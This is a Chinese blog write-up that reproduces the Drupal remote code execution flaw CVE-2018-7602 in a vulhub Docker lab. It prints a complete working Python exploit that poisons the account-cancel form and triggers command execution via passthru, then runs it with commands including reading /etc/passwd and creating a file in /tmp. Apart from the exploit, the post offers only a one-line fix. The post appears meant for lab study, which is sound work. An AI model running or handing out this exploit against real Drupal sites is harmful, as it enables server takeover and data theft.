[ vulhub漏洞复现篇 ] Drupal 远程代码执行漏洞(CVE-2018-7602)
创始人
2024-05-26 08:05:38
0

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 一、漏洞编号
  • 二、影响范围
  • 三、漏洞描述
  • 四、环境搭建
    • 1、进入CVE-2018-7602环境
    • 2、启动CVE-2018-7602环境
    • 3、查看CVE-2018-7602环境
    • 4、访问CVE-2018-7602环境
    • 5、查看CVE-2018-7602漏洞提示信息
    • 6、关闭CVE-2018-7602环境
  • 五、漏洞复现
    • 1、POC
    • 2、执行id
    • 3、读取passwd文件
    • 4、创建/tmp/powershell.txt文件
  • 六、漏洞修复
  • 七、相关资源

一、漏洞编号

CVE-2018-7602

二、影响范围

Drupal 6.x版本
Drupal 7.x版本
Drupal 8.x版本

三、漏洞描述

Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成,在GPL2.0及更新协议下发布。连续多年荣获全球最佳CMS大奖,是基于PHP语言最著名的WEB应用程序。Drupal 6,7,8等多个子版本存在远程代码执行漏洞,攻击者可以利用Drupal网站漏洞,执行恶意代码,导致网站被完全控制。CVE-2018-7602这个漏洞是CVE-2018-7600的绕过利用,两个漏洞原理是一样的。

四、环境搭建

1、进入CVE-2018-7602环境

cd vulhub/confluence/CVE-2018-7602

在这里插入图片描述

2、启动CVE-2018-7602环境

docker-compose up -d

在这里插入图片描述

3、查看CVE-2018-7602环境

docker-compose ps

在这里插入图片描述

4、访问CVE-2018-7602环境

环境启动后,访问http://your-ip:8081,将会看到drupal的安装页面,一路默认配置下一步安装。
因为没有mysql环境,所以安装的时候可以选择sqlite数据库。
中文装不了就装英文

在这里插入图片描述

一直默认安装就行,然后数据库配置这一块儿选择SQLite
然后就会自动安装drupal
设置站点名称,登陆账号密码啥的
站点名称我就设置为powershell
邮箱随便设置,我设置了123@qq.com
账号我就设置为root,密码我就设置为123456了

在这里插入图片描述

安装完成,进入站点

在这里插入图片描述

自动登录进入了网站

在这里插入图片描述

5、查看CVE-2018-7602漏洞提示信息

cat README.md

在这里插入图片描述

6、关闭CVE-2018-7602环境

复现完记得关闭环境

docker-compose down

在这里插入图片描述

五、漏洞复现

1、POC

POC下载地址:

https://download.csdn.net/download/qq_51577576/87453899

POC内容如下:

#!/usr/bin/env python3import requests
import argparse
from bs4 import BeautifulSoupdef get_args():parser = argparse.ArgumentParser( prog="drupa7-CVE-2018-7602.py",formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),epilog= '''This script will exploit the (CVE-2018-7602) vulnerability in Drupal 7 <= 7.58using an valid account and poisoning the cancel account form (user_cancel_confirm_form) with the 'destination' variable and triggering it with the upload file via ajax (/file/ajax).''')parser.add_argument("user", help="Username")parser.add_argument("password", help="Password")parser.add_argument("target", help="URL of target Drupal site (ex: http://target.com/)")parser.add_argument("-c", "--command", default="id", help="Command to execute (default = id)")parser.add_argument("-f", "--function", default="passthru", help="Function to use as attack vector (default = passthru)")parser.add_argument("-x", "--proxy", default="", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = none)")args = parser.parse_args()return argsdef pwn_target(target, username, password, function, command, proxy):requests.packages.urllib3.disable_warnings()session = requests.Session()proxyConf = {'http': proxy, 'https': proxy}try:print('[*] Creating a session using the provided credential...')get_params = {'q':'user/login'}post_params = {'form_id':'user_login', 'name': username, 'pass' : password, 'op':'Log in'}print('[*] Finding User ID...')session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)get_params = {'q':'user'}r = session.get(target, params=get_params, verify=False, proxies=proxyConf)soup = BeautifulSoup(r.text, "html.parser")user_id = soup.find('meta', {'property': 'foaf:name'}).get('about')if ("?q=" in user_id):user_id = user_id.split("=")[1]if(user_id):print('[*] User ID found: ' + user_id)print('[*] Poisoning a form using \'destination\' and including it in cache.')get_params = {'q': user_id + '/cancel'}r = session.get(target, params=get_params, verify=False, proxies=proxyConf)soup = BeautifulSoup(r.text, "html.parser")form = soup.find('form', {'id': 'user-cancel-confirm-form'})form_token = form.find('input', {'name': 'form_token'}).get('value')get_params = {'q': user_id + '/cancel', 'destination' : user_id +'/cancel?q[%23post_render][]=' + function + '&q[%23type]=markup&q[%23markup]=' + command }post_params = {'form_id':'user_cancel_confirm_form','form_token': form_token, '_triggering_element_name':'form_id', 'op':'Cancel account'}r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)soup = BeautifulSoup(r.text, "html.parser")form = soup.find('form', {'id': 'user-cancel-confirm-form'})form_build_id = form.find('input', {'name': 'form_build_id'}).get('value')if form_build_id:print('[*] Poisoned form ID: ' + form_build_id)print('[*] Triggering exploit to execute: ' + command)get_params = {'q':'file/ajax/actions/cancel/#options/path/' + form_build_id}post_params = {'form_build_id':form_build_id}r = session.post(target, params=get_params, data=post_params, verify=False, proxies=proxyConf)parsed_result = r.text.split('[{"command":"settings"')[0]print(parsed_result)except:print("ERROR: Something went wrong.")raisedef main():print ()print ('===================================================================================')print ('|   DRUPAL 7 <= 7.58 REMOTE CODE EXECUTION (SA-CORE-2018-004 / CVE-2018-7602)     |')print ('|                                   by pimps                                      |')print ('===================================================================================\n')args = get_args() # get the cl argspwn_target(args.target.strip(),args.user.strip(),args.password.strip(), args.function.strip(), args.command.strip(), args.proxy.strip())if __name__ == '__main__':main()

2、执行id

python drupa7-CVE-2018-7602.py -c "id" root 123456 http://192.168.233.130:8081

root 为网站登录用户
123456为网站登录密码

在这里插入图片描述

3、读取passwd文件

python drupa7-CVE-2018-7602.py -c "cat ../../../../../etc/passwd" root 123456 http://192.168.233.130:8081

root 为网站登录用户
123456为网站登录密码

在这里插入图片描述

4、创建/tmp/powershell.txt文件

python drupa7-CVE-2018-7602.py -c "touch /tmp/powershell.txt" root 123456 http://192.168.233.130:8081

root 为网站登录用户
123456为网站登录密码

在这里插入图片描述

文件创建成功

docker-compose ps
docker exec -it e0d2ae21b097 /bin/bash
ls /tmp

在这里插入图片描述

可执行任意命令,前提需要拿到一个网站弱口令

六、漏洞修复

升级Drupal为最新版本

七、相关资源

1、docker 搭建 vulhub 靶场环境
2、[ vulhub漏洞复现篇 ] vulhub 漏洞集合 - 表格版本(含漏洞复现文章连接)
3、[ vulhub漏洞复现篇 ] vulhub 漏洞集合(含漏洞复现文章连接)

相关内容

热门资讯

喜欢穿一身黑的男生性格(喜欢穿... 今天百科达人给各位分享喜欢穿一身黑的男生性格的知识,其中也会对喜欢穿一身黑衣服的男人人好相处吗进行解...
发春是什么意思(思春和发春是什... 本篇文章极速百科给大家谈谈发春是什么意思,以及思春和发春是什么意思对应的知识点,希望对各位有所帮助,...
网络用语zl是什么意思(zl是... 今天给各位分享网络用语zl是什么意思的知识,其中也会对zl是啥意思是什么网络用语进行解释,如果能碰巧...
为什么酷狗音乐自己唱的歌不能下... 本篇文章极速百科小编给大家谈谈为什么酷狗音乐自己唱的歌不能下载到本地?,以及为什么酷狗下载的歌曲不是...
华为下载未安装的文件去哪找(华... 今天百科达人给各位分享华为下载未安装的文件去哪找的知识,其中也会对华为下载未安装的文件去哪找到进行解...
怎么往应用助手里添加应用(应用... 今天百科达人给各位分享怎么往应用助手里添加应用的知识,其中也会对应用助手怎么添加微信进行解释,如果能...
家里可以做假山养金鱼吗(假山能... 今天百科达人给各位分享家里可以做假山养金鱼吗的知识,其中也会对假山能放鱼缸里吗进行解释,如果能碰巧解...
四分五裂是什么生肖什么动物(四... 本篇文章极速百科小编给大家谈谈四分五裂是什么生肖什么动物,以及四分五裂打一生肖是什么对应的知识点,希...
一帆风顺二龙腾飞三阳开泰祝福语... 本篇文章极速百科给大家谈谈一帆风顺二龙腾飞三阳开泰祝福语,以及一帆风顺二龙腾飞三阳开泰祝福语结婚对应...
美团联名卡审核成功待激活(美团... 今天百科达人给各位分享美团联名卡审核成功待激活的知识,其中也会对美团联名卡审核未通过进行解释,如果能...